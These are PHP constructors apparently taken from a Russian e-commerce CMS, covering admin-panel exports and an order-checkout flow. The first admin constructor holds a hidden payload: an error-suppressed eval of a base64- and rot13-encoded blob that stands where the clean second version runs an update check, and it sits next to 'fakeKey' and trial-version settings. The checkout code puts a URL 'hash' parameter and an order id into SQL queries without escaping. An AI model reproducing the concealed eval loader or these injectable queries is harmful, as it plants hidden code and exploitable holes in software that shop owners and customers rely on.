function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
function __construct() { // Модель для работы заказом. $model = new Models_Order(); // Печать заказа в квитанцию. if (isset($_POST['printQittance'])) { $model->printQittance(); } if ($orderId = URL::get('getOrderPdf')) { $model->getPdfOrder($orderId); } // Запрос электронных товаров $fileToOrder = null; if (isset($_REQUEST['getFileToOrder'])) { $electroInfo = $model->getFileToOrder($_REQUEST['getFileToOrder']); $orderInfo = $model->getOrder(' id = ' . DB::quote($_REQUEST['getFileToOrder'])); $orderNumber = $orderInfo[$_REQUEST['getFileToOrder']]['number']; if ($electroInfo === false) { $infoMsg = "Для просмотра страницы необходимо зайти на сайт под пользователем сделавшим заказ №" . $orderNumber; } if (is_array($electroInfo) && empty($electroInfo)) { $infoMsg = "Заказ не содержит электронных товаров или ожидает оплаты!"; } if (is_array($electroInfo) && !empty($electroInfo)) { $infoMsg = "Скачать электронные товары для заказа №" . $orderNumber . ""; } $fileToOrder = array('infoMsg' => $infoMsg, 'electroInfo' => $electroInfo); } // пришел запрос на скачивание электронного товара if (isset($_REQUEST['link'])) { $model->getFileByMd5($_REQUEST['link']); } // Первый экран - Оформление заказа. $step = 1; // Если пришли данные с формы оформления заказа. if (isset($_POST['toOrder'])) { if (empty($_SESSION['cart'])) { MG::redirect('/cart'); } // Если параметры введены корректно, то создается новый заказ. if ($error = $model->isValidData($_POST)) { $msg = $error; } else { // Второй экран - оплата заказа $step = 2; $orderArray = $model->addOrder(); $orderId = $orderArray['id']; $orderNumber = $orderArray['orderNumber']; $summ = $model->summ + $model->delivery_cost; $pay = $model->payment; $paramArray = $model->getParamArray($pay, $orderId, $summ); } } // Обработка действия при переходе по ссылке подтверждения заказа. if ($id = URL::getQueryParametr('id')) { $info = $this->confirmOrder($id); $msg = $info['msg']; $userEmail = $info['userEmail']; // Третий экран - подтверждение заказа по ссылке из письма. $step = 3; } // Обработка действия при переходе по ссылке получения информации о статусе заказа. if (URL::getQueryParametr('hash')) { $hash = URL::getQueryParametr('hash'); // Информация о заказе по переданному id. $orderInfo = $model->getOrder('`' . PREFIX . 'order`.hash = "' . $hash . '"'); $id = key($orderInfo); if ($orderInfo) { if (USER::getUserInfoByEmail($orderInfo[$id]['user_email'])) { $msg = 'Посмотреть статус заказа Вы можете в <a href="' . SITE . '/personal">личном кабинете</a>.'; } else { $lang = MG::get('lang'); $orderNumber = $orderInfo[$id]['number']; $orderId = $id; $status = $model->getOrderStatus($orderInfo[$id]['status_id']); $orderInfo[$id]['string_status_id'] = $lang[$status]; $paymentArray = $model->getPaymentMethod($orderInfo[$id]['payment_id']); $orderInfo[$id]['paymentName'] = $paymentArray['name']; $msg = ''; } } else { $msg = 'Некорректная ссылка.<br> Заказ не найден<br>'; } // пятый экран - инфо о статусе заказа $step = 5; } // Запрос оплаты из ЛК. if (URL::getQueryParametr('pay')) { // Четвертый экран - Запрос оплаты из ЛК. $step = 4; $pay = URL::getQueryParametr('paymentId'); $orderId = URL::getQueryParametr('orderID'); $order = $model->getOrder(' id = ' . DB::quote($orderId, true)); $summ = URL::getQueryParametr('orderSumm'); $summ = $order[$orderId]['summ'] * 1 + $order[$orderId]['delivery_cost'] * 1; $paramArray = $model->getParamArray($pay, $orderId, $summ); } // Если пользователь авторизован, то заполняем форму личными даными. if (User::isAuth()) { $userInfo = User::getThis(); $_POST['email'] = $_POST['email'] ? $_POST['email'] : $userInfo->email; $_POST['phone'] = $_POST['phone'] ? $_POST['phone'] : $userInfo->phone; $_POST['fio'] = $_POST['fio'] ? $_POST['fio'] : $userInfo->name . ' ' . $userInfo->sname; $_POST['address'] = $_POST['address'] ? $_POST['address'] : $userInfo->address; if ($userInfo->inn) { $_POST['customer'] = 'yur'; } $_POST['yur_info']['adress'] = $userInfo->adress; $_POST['yur_info']['inn'] = $userInfo->inn; $_POST['yur_info']['kpp'] = $userInfo->kpp; $_POST['yur_info']['bank'] = $userInfo->bank; $_POST['yur_info']['bik'] = $userInfo->bik; $_POST['yur_info']['ks'] = $userInfo->ks; $_POST['yur_info']['rs'] = $userInfo->rs; } // Обработка ajax запроса из шаблона. if ('getPaymentByDeliveryId' == URL::getQueryParametr('action')) { $this->getPaymentByDeliveryId(); } // Обработка ajax запроса из шаблона. if ('getEssentialElements' == URL::getQueryParametr('action')) { $this->getEssentialElements(); } $this->includeIconsPack(); // Массив способов доставки. $deliveryArray = $this->getDelivery(); // Массив способов оплаты. $deliveryCount = count($deliveryArray); // если из доступных способов доставки - только один, то сразу находим для него способы оплаты if ($deliveryCount === 1) { $keyDev = array_keys($deliveryArray); $_POST['delivery'] = $deliveryArray[$keyDev[0]]['id']; } $paymentTable = $this->getPaymentByDeliveryId($_POST['delivery'], $_POST['customer'], true, $deliveryCount); // если доставка не предусмотрена, то выводим все доступные активные метода оплаты if ($deliveryCount === 0) { $paymentTable = ''; foreach ($this->getPayment() as $payment) { $delivArray = json_decode($payment['deliveryMethod'], true); if ($_POST['customer'] == "yur" && $payment['id'] != "7") { continue; } $paymentTable .= ' <li class="noneactive"> <label> <input type="radio" name="payment" rel value=' . $payment['id'] . '>' . $payment['name'] . '</label> <span class="icon-payment-' . $payment['id'] . '"></span> </li>'; } } $cart = new Models_Cart(); $summOrder = $cart->getTotalSumm(); $summOrder = MG::numberFormat($summOrder); if ($step != 5) { $orderInfo = $model->getOrder('`' . PREFIX . 'order`.id = "' . $orderId . '"'); } $userInfo = USER::getUserInfoByEmail($orderInfo[$orderId]['user_email']); $settings = MG::get('settings'); $orderNumber = $orderInfo[$orderId]['number'] != '' ? $orderInfo[$orderId]['number'] : $orderId; $linkToStatus = $orderInfo[$orderId]['hash'] ? $orderInfo[$orderId]['hash'] : ''; // Массив параметров для отображения в представлении. $this->data = array('active' => !empty($userEmail) ? $userEmail : '', 'msg' => !empty($msg) ? $msg : '', 'step' => !empty($step) ? $step : '', 'delivery' => !empty($deliveryArray) ? $deliveryArray : '', 'paymentArray' => !empty($paymentTable) ? $paymentTable : '', 'paramArray' => !empty($paramArray) ? $paramArray : '', 'id' => !empty($orderId) ? $orderId : '', 'orderNumber' => !empty($orderNumber) ? $orderNumber : $orderId, 'summ' => !empty($summ) ? $summ : '', 'pay' => !empty($pay) ? $pay : '', 'payMentView' => $this->getPaymentView($pay), 'currency' => $settings['currency'], 'userInfo' => $userInfo, 'orderInfo' => $orderInfo, 'fileToOrder' => $fileToOrder, 'meta_title' => 'Оформление заказа', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,заявки,оформить,оформление заказа", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "Оформление заказа происходит в несколько этапов. 1 - ввод личных данных покупателя, 2 - оплата заказа.", 'summOrder' => !empty($summOrder) ? $summOrder . ' ' . MG::getSetting('currency') : '', 'captcha' => CAPTCHA_ORDER == '1' ? true : false, 'linkToStatus' => $linkToStatus); }